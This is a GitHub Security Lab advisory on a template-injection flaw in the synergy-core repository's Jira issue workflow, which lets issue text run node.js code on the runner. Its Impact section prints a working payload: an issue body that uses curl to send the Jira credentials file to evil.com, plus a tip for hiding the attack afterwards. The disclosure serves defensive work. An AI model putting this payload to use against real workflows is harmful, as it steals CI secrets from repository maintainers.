skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
December 3, 2020

GHSL-2020-181: Template injection in the GitHub workflows of symless synergy-core repository

Jaroslav Lobacevski

Summary

Automatic GitHub workflows in synergy-core repository are vulnerable to template injection from user comments.

Product

synergy-core GitHub repository

Tested Version

Master branch.

Details

Issue: Create step in job-jira-issues.yml workflow is vulnerable to template injection

${{ github.event.issue.title }} and ${{ github.event.issue.body }} are used to format input values to atlassian/gajira-create action:

on:
  issues:
    types: [ opened ]
...
uses: atlassian/gajira-create@master
with:
    summary: |
        ${{ github.event.issue.title }}
    description: |
        Opened by: ${{ github.event.issue.user.login }}
        Link: ${{ github.event.issue.html_url }}
        ${{ github.event.issue.body }}

However the Atlassian action has a hidden feature - it expands {{}} itself. This way when the issue title or body contains an expression in double curly braces it is evaluated by node.js in the atlassian/gajira-create action.

Impact

This vulnerability allows for arbitrary code execution in the context of GitHub runner. For example a user may create an issue with the title It doesn't work on my machine and the body

{{ process.mainModule.require('child_process').exec(`curl -d @${process.env.HOME}/.jira.d/credentials http://evil.com`) }}

which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the body of the issue to Never mind my bad. and close it.

Coordinated Disclosure Timeline

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-181 in any communication regarding this issue.